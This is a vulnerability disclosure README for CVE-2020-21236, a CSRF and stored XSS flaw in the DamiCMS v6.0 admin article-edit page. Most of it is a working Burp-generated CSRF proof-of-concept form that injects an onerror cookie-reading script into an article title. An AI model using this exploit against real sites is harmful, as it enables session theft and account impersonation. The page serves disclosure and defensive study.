Headline
CVE-2020-21236: DamiCMS-v6.0.0-have-csrf-and-xss-Vulnerabilities-/README.md at master · wind-cyber/DamiCMS-v6.0.0-have-csrf-and-xss-Vulnerabilities-
A vulnerability in /damicms-master/admin.php?s=/Article/doedit of DamiCMS v6.0 allows attackers to compromise and impersonate user accounts via obtaining a user’s session cookie.
Permalink
Cannot retrieve contributors at this time
Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user’s session cookie, they can then impersonate that user.
After the administrator login in,open the poc poc:
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://172.16.100.28/damicms-master/admin.php?s=/Article/doedit" method="POST">
<input type="hidden" name="title" value="测试产品<img src="x" onerror=alert(document.cookie) >" />
<input type="hidden" name="TitleFontColor" value="" />
<input type="hidden" name="keywords" value="" />
<input type="hidden" name="description" value="型号: 价格:面议 颜色:" />
<input type="hidden" name="hits" value="69" />
<input type="hidden" name="typeid" value="24" />
<input type="hidden" name="imgurl" value="/Public/Uploads/thumb/thumb_1393207060.jpg" />
<input type="hidden" name="isimg" value="1" />
<input type="hidden" name="content" value="android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发<span style="white-space:normal;">android开发</span></span></span></span></span></span></span></span></span></span></span></span></span></span>" />
<input type="hidden" name="price" value="4000" />
<input type="hidden" name="color" value="灰色" />
<input type="hidden" name="product_xinghao" value="M002457J" />
<input type="hidden" name="submit" value="修改" />
<input type="hidden" name="aid" value="66" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
damicms-master/admin.php?s=/Index/index Successfully inserted